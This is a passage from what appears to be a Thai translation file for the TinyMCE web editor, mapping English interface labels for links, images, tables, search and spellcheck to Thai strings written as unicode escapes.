"Shortcut": "\u0e17\u0e32\u0e07\u0e25\u0e31\u0e14",
"Help": "\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d",
"Address": "\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48",
"Focus to menubar": "\u0e42\u0e1f\u0e01\u0e31\u0e2a\u0e44\u0e1b\u0e17\u0e35\u0e48\u0e40\u0e21\u0e19\u0e39\u0e1a\u0e32\u0e23\u0e4c",
"Focus to toolbar": "\u0e42\u0e1f\u0e01\u0e31\u0e2a\u0e44\u0e1b\u0e17\u0e35\u0e48\u0e41\u0e16\u0e1a\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d",
"Focus to element path": "\u0e42\u0e1f\u0e01\u0e31\u0e2a\u0e44\u0e1b\u0e17\u0e35\u0e48\u0e40\u0e2a\u0e49\u0e19\u0e17\u0e32\u0e07\u0e02\u0e2d\u0e07\u0e2d\u0e07\u0e04\u0e4c\u0e1b\u0e23\u0e30\u0e01\u0e2d\u0e1a",
"Focus to contextual toolbar": "\u0e42\u0e1f\u0e01\u0e31\u0e2a\u0e44\u0e1b\u0e17\u0e35\u0e48\u0e41\u0e16\u0e1a\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d\u0e15\u0e32\u0e21\u0e1a\u0e23\u0e34\u0e1a\u0e17",
"Insert link (if link plugin activated)": "\u0e41\u0e17\u0e23\u0e01\u0e25\u0e34\u0e07\u0e01\u0e4c (\u0e2b\u0e32\u0e01\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19\u0e25\u0e34\u0e07\u0e01\u0e4c)",
"Save (if save plugin activated)": "\u0e1a\u0e31\u0e19\u0e17\u0e36\u0e01 (\u0e2b\u0e32\u0e01\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19\u0e1a\u0e31\u0e19\u0e17\u0e36\u0e01)",
"Find (if searchreplace plugin activated)": "\u0e04\u0e49\u0e19\u0e2b\u0e32 (\u0e2b\u0e32\u0e01\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19 searchreplace)",
"Plugins installed ({0}):": "\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19\u0e17\u0e35\u0e48\u0e15\u0e34\u0e14\u0e15\u0e31\u0e49\u0e07\u0e41\u0e25\u0e49\u0e27 ({0}):",
"Premium plugins:": "\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19\u0e1e\u0e23\u0e35\u0e40\u0e21\u0e35\u0e22\u0e21:",
"Learn more...": "\u0e40\u0e23\u0e35\u0e22\u0e19\u0e23\u0e39\u0e49\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e40\u0e15\u0e34\u0e21...",
"You are using {0}": "\u0e04\u0e38\u0e13\u0e01\u0e33\u0e25\u0e31\u0e07\u0e43\u0e0a\u0e49 {0}",
"Plugins": "\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19",
"Handy Shortcuts": "\u0e17\u0e32\u0e07\u0e25\u0e31\u0e14\u0e14\u0e49\u0e27\u0e22\u0e21\u0e37\u0e2d",
"Horizontal line": "\u0e40\u0e2a\u0e49\u0e19\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"Insert\/edit image": "\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e23\u0e39\u0e1b",
"Alternative description": "\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22\u0e17\u0e32\u0e07\u0e40\u0e25\u0e37\u0e2d\u0e01",
"Accessibility": "\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e43\u0e19\u0e01\u0e32\u0e23\u0e40\u0e02\u0e49\u0e32\u0e16\u0e36\u0e07",
"Image is decorative": "\u0e20\u0e32\u0e1e\u0e17\u0e35\u0e48\u0e16\u0e39\u0e01\u0e15\u0e01\u0e41\u0e15\u0e48\u0e07",
"Source": "\u0e41\u0e2b\u0e25\u0e48\u0e07\u0e17\u0e35\u0e48\u0e21\u0e32",
"Dimensions": "\u0e02\u0e19\u0e32\u0e14",
"Constrain proportions": "\u0e08\u0e33\u0e01\u0e31\u0e14\u0e2a\u0e31\u0e14\u0e2a\u0e48\u0e27\u0e19",
"General": "\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",
"Advanced": "\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07",
"Style": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"Vertical space": "\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",
"Horizontal space": "\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"Border": "\u0e40\u0e2a\u0e49\u0e19\u0e02\u0e2d\u0e1a",
"Insert image": "\u0e41\u0e17\u0e23\u0e01\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Image...": "\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e...",
"Image list": "\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Rotate counterclockwise": "\u0e2b\u0e21\u0e38\u0e19\u0e17\u0e27\u0e19\u0e40\u0e02\u0e47\u0e21\u0e19\u0e32\u0e2c\u0e34\u0e01\u0e32",
"Rotate clockwise": "\u0e2b\u0e21\u0e38\u0e19\u0e15\u0e32\u0e21\u0e40\u0e02\u0e47\u0e21\u0e19\u0e32\u0e2c\u0e34\u0e01\u0e32",
"Flip vertically": "\u0e1e\u0e25\u0e34\u0e01\u0e15\u0e32\u0e21\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",
"Flip horizontally": "\u0e1e\u0e25\u0e34\u0e01\u0e15\u0e32\u0e21\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"Edit image": "\u0e41\u0e01\u0e49\u0e44\u0e02\u0e23\u0e39\u0e1b",
"Image options": "\u0e15\u0e31\u0e27\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Zoom in": "\u0e02\u0e22\u0e32\u0e22\u0e40\u0e02\u0e49\u0e32",
"Zoom out": "\u0e22\u0e48\u0e2d\u0e2d\u0e2d\u0e01",
"Crop": "\u0e04\u0e23\u0e2d\u0e1b\u0e15\u0e31\u0e14",
"Resize": "\u0e1b\u0e23\u0e31\u0e1a\u0e02\u0e19\u0e32\u0e14",
"Orientation": "\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07",
"Brightness": "\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e27\u0e48\u0e32\u0e07",
"Sharpen": "\u0e04\u0e27\u0e32\u0e21\u0e04\u0e21",
"Contrast": "\u0e04\u0e27\u0e32\u0e21\u0e40\u0e1b\u0e23\u0e35\u0e22\u0e1a\u0e15\u0e48\u0e32\u0e07",
"Color levels": "\u0e23\u0e30\u0e14\u0e31\u0e1a\u0e2a\u0e35",
"Gamma": "\u0e41\u0e01\u0e21\u0e21\u0e32",
"Invert": "\u0e22\u0e49\u0e2d\u0e19\u0e01\u0e25\u0e31\u0e1a",
"Apply": "\u0e19\u0e33\u0e44\u0e1b\u0e43\u0e0a\u0e49",
"Back": "\u0e01\u0e25\u0e31\u0e1a",
"Insert date\/time": "\u0e41\u0e17\u0e23\u0e01\u0e27\u0e31\u0e19\u0e17\u0e35\u0e48\/\u0e40\u0e27\u0e25\u0e32",
"Date\/time": "\u0e27\u0e31\u0e19\u0e17\u0e35\u0e48\/\u0e40\u0e27\u0e25\u0e32",
"Insert\/edit link": "\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Text to display": "\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e17\u0e35\u0e48\u0e08\u0e30\u0e41\u0e2a\u0e14\u0e07",
"Url": "URL",
"Open link in...": "\u0e40\u0e1b\u0e34\u0e14\u0e25\u0e34\u0e07\u0e01\u0e4c\u0e43\u0e19...",
"Current window": "\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e1b\u0e31\u0e08\u0e08\u0e38\u0e1a\u0e31\u0e19",
"None": "\u0e44\u0e21\u0e48\u0e21\u0e35",
"New window": "\u0e40\u0e1b\u0e34\u0e14\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48",
"Open link": "\u0e40\u0e1b\u0e34\u0e14\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Remove link": "\u0e40\u0e2d\u0e32\u0e25\u0e34\u0e07\u0e01\u0e4c\u0e2d\u0e2d\u0e01",
"Anchors": "\u0e08\u0e38\u0e14\u0e22\u0e36\u0e14",
"Link...": "\u0e25\u0e34\u0e07\u0e01\u0e4c...",
"Paste or type a link": "\u0e27\u0e32\u0e07\u0e2b\u0e23\u0e37\u0e2d\u0e1b\u0e49\u0e2d\u0e19\u0e25\u0e34\u0e07\u0e01\u0e4c",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e23\u0e30\u0e1a\u0e38\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e40\u0e1b\u0e47\u0e19\u0e2d\u0e35\u0e40\u0e21\u0e25\u0e41\u0e2d\u0e14\u0e40\u0e14\u0e23\u0e2a \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e43\u0e2a\u0e48 mailto: \u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e23\u0e30\u0e1a\u0e38\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e40\u0e1b\u0e47\u0e19\u0e25\u0e34\u0e07\u0e01\u0e4c\u0e20\u0e32\u0e22\u0e19\u0e2d\u0e01 \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e43\u0e2a\u0e48 http:\/\/ \u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e08\u0e30\u0e40\u0e1b\u0e47\u0e19\u0e25\u0e34\u0e07\u0e01\u0e4c\u0e20\u0e32\u0e22\u0e19\u0e2d\u0e01 \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e04\u0e33\u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32 https:\/\/ \u0e17\u0e35\u0e48\u0e08\u0e33\u0e40\u0e1b\u0e47\u0e19\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48?",
"Link list": "\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Insert video": "\u0e41\u0e17\u0e23\u0e01\u0e27\u0e34\u0e14\u0e35\u0e42\u0e2d",
"Insert\/edit video": "\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e27\u0e34\u0e14\u0e35\u0e42\u0e2d",
"Insert\/edit media": "\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02\u0e2a\u0e37\u0e48\u0e2d",
"Alternative source": "\u0e41\u0e2b\u0e25\u0e48\u0e07\u0e17\u0e35\u0e48\u0e21\u0e32\u0e2a\u0e33\u0e23\u0e2d\u0e07",
"Alternative source URL": "URL \u0e41\u0e2b\u0e25\u0e48\u0e07\u0e17\u0e35\u0e48\u0e21\u0e32\u0e2a\u0e33\u0e23\u0e2d\u0e07",
"Media poster (Image URL)": "\u0e42\u0e1b\u0e2a\u0e40\u0e15\u0e2d\u0e23\u0e4c\u0e21\u0e35\u0e40\u0e14\u0e35\u0e22 (URL \u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e)",
"Paste your embed code below:": "\u0e27\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14\u0e1d\u0e31\u0e07\u0e15\u0e31\u0e27\u0e02\u0e2d\u0e07\u0e04\u0e38\u0e13\u0e14\u0e49\u0e32\u0e19\u0e25\u0e48\u0e32\u0e07:",
"Embed": "\u0e1d\u0e31\u0e07",
"Media...": "\u0e21\u0e35\u0e40\u0e14\u0e35\u0e22...",
"Nonbreaking space": "\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e44\u0e21\u0e48\u0e41\u0e22\u0e01",
"Page break": "\u0e15\u0e31\u0e27\u0e41\u0e1a\u0e48\u0e07\u0e2b\u0e19\u0e49\u0e32",
"Paste as text": "\u0e27\u0e32\u0e07\u0e40\u0e1b\u0e47\u0e19\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",
"Preview": "\u0e41\u0e2a\u0e14\u0e07\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",
"Print...": "\u0e1e\u0e34\u0e21\u0e1e\u0e4c...",
"Save": "\u0e1a\u0e31\u0e19\u0e17\u0e36\u0e01",
"Find": "\u0e04\u0e49\u0e19\u0e2b\u0e32",
"Replace with": "\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e14\u0e49\u0e27\u0e22",
"Replace": "\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48",
"Replace all": "\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Previous": "\u0e01\u0e48\u0e2d\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e19\u0e35\u0e49",
"Next": "\u0e16\u0e31\u0e14\u0e44\u0e1b",
"Find and Replace": "\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e41\u0e25\u0e30\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48",
"Find and replace...": "\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e41\u0e25\u0e30\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48...",
"Could not find the specified string.": "\u0e44\u0e21\u0e48\u0e1e\u0e1a\u0e2a\u0e15\u0e23\u0e34\u0e07\u0e17\u0e35\u0e48\u0e23\u0e30\u0e1a\u0e38",
"Match case": "\u0e15\u0e23\u0e07\u0e15\u0e32\u0e21\u0e15\u0e31\u0e27\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e43\u0e2b\u0e0d\u0e48-\u0e40\u0e25\u0e47\u0e01",
"Find whole words only": "\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e17\u0e31\u0e49\u0e07\u0e04\u0e33\u0e40\u0e17\u0e48\u0e32\u0e19\u0e31\u0e49\u0e19",
"Find in selection": "\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e08\u0e32\u0e01\u0e17\u0e35\u0e48\u0e40\u0e25\u0e37\u0e2d\u0e01",
"Spellcheck": "\u0e15\u0e23\u0e27\u0e08\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14",
"Spellcheck Language": "\u0e20\u0e32\u0e29\u0e32\u0e43\u0e19\u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14",
"No misspellings found.": "\u0e44\u0e21\u0e48\u0e1e\u0e1a\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14\u0e04\u0e33\u0e1c\u0e34\u0e14",
"Ignore": "\u0e25\u0e30\u0e40\u0e27\u0e49\u0e19",
"Ignore all": "\u0e25\u0e30\u0e40\u0e27\u0e49\u0e19\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Finish": "\u0e40\u0e2a\u0e23\u0e47\u0e08\u0e2a\u0e34\u0e49\u0e19",
"Add to Dictionary": "\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e43\u0e19\u0e1e\u0e08\u0e19\u0e32\u0e19\u0e38\u0e01\u0e23\u0e21",
"Insert table": "\u0e41\u0e17\u0e23\u0e01\u0e15\u0e32\u0e23\u0e32\u0e07",
"Table properties": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e15\u0e32\u0e23\u0e32\u0e07",
"Delete table": "\u0e25\u0e1a\u0e15\u0e32\u0e23\u0e32\u0e07",
"Cell": "\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Row": "\u0e41\u0e16\u0e27",
"Column": "\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Cell properties": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Merge cells": "\u0e1c\u0e2a\u0e32\u0e19\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Split cell": "\u0e41\u0e22\u0e01\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Insert row before": "\u0e41\u0e17\u0e23\u0e01\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e1a\u0e19",
"Insert row after": "\u0e41\u0e17\u0e23\u0e01\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e25\u0e48\u0e32\u0e07",
"Delete row": "\u0e25\u0e1a\u0e41\u0e16\u0e27",
"Row properties": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e41\u0e16\u0e27",
"Cut row": "\u0e15\u0e31\u0e14\u0e41\u0e16\u0e27",
"Copy row": "\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01\u0e41\u0e16\u0e27",
"Paste row before": "\u0e27\u0e32\u0e07\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e1a\u0e19",
"Paste row after": "\u0e27\u0e32\u0e07\u0e41\u0e16\u0e27\u0e14\u0e49\u0e32\u0e19\u0e25\u0e48\u0e32\u0e07",
"Insert column before": "\u0e41\u0e17\u0e23\u0e01\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e19\u0e49\u0e32",
"Insert column after": "\u0e41\u0e17\u0e23\u0e01\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e02\u0e49\u0e32\u0e07\u0e2b\u0e25\u0e31\u0e07",
"Delete column": "\u0e25\u0e1a\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Cols": "\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Rows": "\u0e41\u0e16\u0e27",
"Width": "\u0e04\u0e27\u0e32\u0e21\u0e01\u0e27\u0e49\u0e32\u0e07",
"Height": "\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e39\u0e07",
"Cell spacing": "\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e23\u0e30\u0e2b\u0e27\u0e48\u0e32\u0e07\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Cell padding": "\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07\u0e20\u0e32\u0e22\u0e43\u0e19\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Caption": "\u0e1b\u0e49\u0e32\u0e22\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22",
"Show caption": "\u0e41\u0e2a\u0e14\u0e07\u0e04\u0e33\u0e1a\u0e23\u0e23\u0e22\u0e32\u0e22",
"Left": "\u0e0b\u0e49\u0e32\u0e22",
"Center": "\u0e01\u0e36\u0e48\u0e07\u0e01\u0e25\u0e32\u0e07",
"Right": "\u0e02\u0e27\u0e32",
"Cell type": "\u0e0a\u0e19\u0e34\u0e14\u0e02\u0e2d\u0e07\u0e40\u0e0b\u0e25\u0e25\u0e4c",
"Scope": "\u0e02\u0e2d\u0e1a\u0e40\u0e02\u0e15",
"Alignment": "\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e41\u0e19\u0e27",
"H Align": "\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e07\u0e43\u0e19\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",
"V Align": "\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e07\u0e43\u0e19\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07",
"Top": "\u0e1a\u0e19",
"Middle": "\u0e01\u0e25\u0e32\u0e07",
"Bottom": "\u0e25\u0e48\u0e32\u0e07",
"Header cell": "\u0e40\u0e0b\u0e25\u0e25\u0e4c\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27",
"Row group": "\u0e01\u0e25\u0e38\u0e48\u0e21\u0e41\u0e16\u0e27",
"Column group": "\u0e01\u0e25\u0e38\u0e48\u0e21\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c",
"Row type": "\u0e0a\u0e19\u0e34\u0e14\u0e02\u0e2d\u0e07\u0e41\u0e16\u0e27",
"Header": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27",
"Body": "\u0e40\u0e19\u0e37\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",
"Footer": "\u0e2a\u0e48\u0e27\u0e19\u0e17\u0e49\u0e32\u0e22",
"Border color": "\u0e2a\u0e35\u0e02\u0e2d\u0e1a",
"Insert template...": "\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a...",
"Templates": "\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a",
"Template": "\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a",
"Text color": "\u0e2a\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",
"Background color": "\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",
"Custom...": "\u0e01\u0e33\u0e2b\u0e19\u0e14\u0e40\u0e2d\u0e07",
"Custom color": "\u0e2a\u0e35\u0e17\u0e35\u0e48\u0e01\u0e33\u0e2b\u0e19\u0e14\u0e40\u0e2d\u0e07",
"No color": "\u0e44\u0e21\u0e48\u0e21\u0e35\u0e2a\u0e35",
"Remove color": "\u0e25\u0e1a\u0e2a\u0e35",
"Table of Contents": "\u0e2a\u0e32\u0e23\u0e1a\u0e31\u0e0d",
"Show blocks": "\u0e41\u0e2a\u0e14\u0e07\u0e1a\u0e25\u0e47\u0e2d\u0e01",
"Show invisible characters": "\u0e41\u0e2a\u0e14\u0e07\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e17\u0e35\u0e48\u0e21\u0e2d\u0e07\u0e44\u0e21\u0e48\u0e40\u0e2b\u0e47\u0e19",
"Word count": "\u0e19\u0e31\u0e1a\u0e08\u0e33\u0e19\u0e27\u0e19\u0e04\u0e33",
"Count": "\u0e19\u0e31\u0e1a",
"Document": "\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",
"Selection": "\u0e01\u0e32\u0e23\u0e40\u0e25\u0e37\u0e2d\u0e01",
"Words": "\u0e04\u0e33",
"Words: {0}": "\u0e04\u0e33: {0}",
"{0} words": "{0} \u0e04\u0e33",
"File": "\u0e44\u0e1f\u0e25\u0e4c",
"Edit": "\u0e41\u0e01\u0e49\u0e44\u0e02",
"Insert": "\u0e41\u0e17\u0e23\u0e01",
"View": "\u0e21\u0e38\u0e21\u0e21\u0e2d\u0e07",
"Format": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"Table": "\u0e15\u0e32\u0e23\u0e32\u0e07",
"Tools": "\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d",
"Powered by {0}": "\u0e02\u0e31\u0e1a\u0e40\u0e04\u0e25\u0e37\u0e48\u0e2d\u0e19\u0e42\u0e14\u0e22 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0e1e\u0e37\u0e49\u0e19\u0e17\u0e35\u0e48 Rich Text \u0e01\u0e14 ALT-F9 \u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e40\u0e21\u0e19\u0e39 \u0e01\u0e14 ALT-F10 \u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e41\u0e16\u0e1a\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e21\u0e37\u0e2d \u0e01\u0e14 ALT-0 \u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e04\u0e27\u0e32\u0e21\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d",
"Image title": "\u0e0a\u0e37\u0e48\u0e2d\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Border width": "\u0e04\u0e27\u0e32\u0e21\u0e01\u0e27\u0e49\u0e32\u0e07\u0e40\u0e2a\u0e49\u0e19\u0e02\u0e2d\u0e1a",
"Border style": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a\u0e40\u0e2a\u0e49\u0e19\u0e02\u0e2d\u0e1a",
"Error": "\u0e04\u0e27\u0e32\u0e21\u0e1c\u0e34\u0e14\u0e1e\u0e25\u0e32\u0e14",
"Warn": "\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e40\u0e15\u0e37\u0e2d\u0e19",
"Valid": "\u0e16\u0e39\u0e01\u0e15\u0e49\u0e2d\u0e07",
"To open the popup, press Shift+Enter": "\u0e01\u0e14 Shift+Enter \u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e40\u0e1b\u0e34\u0e14\u0e1b\u0e4a\u0e2d\u0e1a\u0e2d\u0e31\u0e1e",
"Rich Text Area. Press ALT-0 for help.": "\u0e1e\u0e37\u0e49\u0e19\u0e17\u0e35\u0e48 Rich Text \u0e01\u0e14 ALT-0 \u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e04\u0e27\u0e32\u0e21\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d",
"System Font": "\u0e41\u0e1a\u0e1a\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e02\u0e2d\u0e07\u0e23\u0e30\u0e1a\u0e1a",
"Failed to upload image: {0}": "\u0e44\u0e21\u0e48\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e2d\u0e31\u0e1b\u0e42\u0e2b\u0e25\u0e14\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e: {0}",
"Failed to load plugin: {0} from url {1}": "\u0e44\u0e21\u0e48\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e42\u0e2b\u0e25\u0e14\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19: {0} \u0e08\u0e32\u0e01 url {1}",
"Failed to load plugin url: {0}": "\u0e44\u0e21\u0e48\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e42\u0e2b\u0e25\u0e14 url \u0e02\u0e2d\u0e07\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19: {0}",
"Failed to initialize plugin: {0}": "\u0e44\u0e21\u0e48\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e40\u0e23\u0e34\u0e48\u0e21\u0e15\u0e49\u0e19\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19: {0}",
"example": "\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",
"Search": "\u0e04\u0e49\u0e19\u0e2b\u0e32",
"All": "\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Currency": "\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19",
"Text": "\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",
"Quotations": "\u0e43\u0e1a\u0e40\u0e2a\u0e19\u0e2d\u0e23\u0e32\u0e04\u0e32",
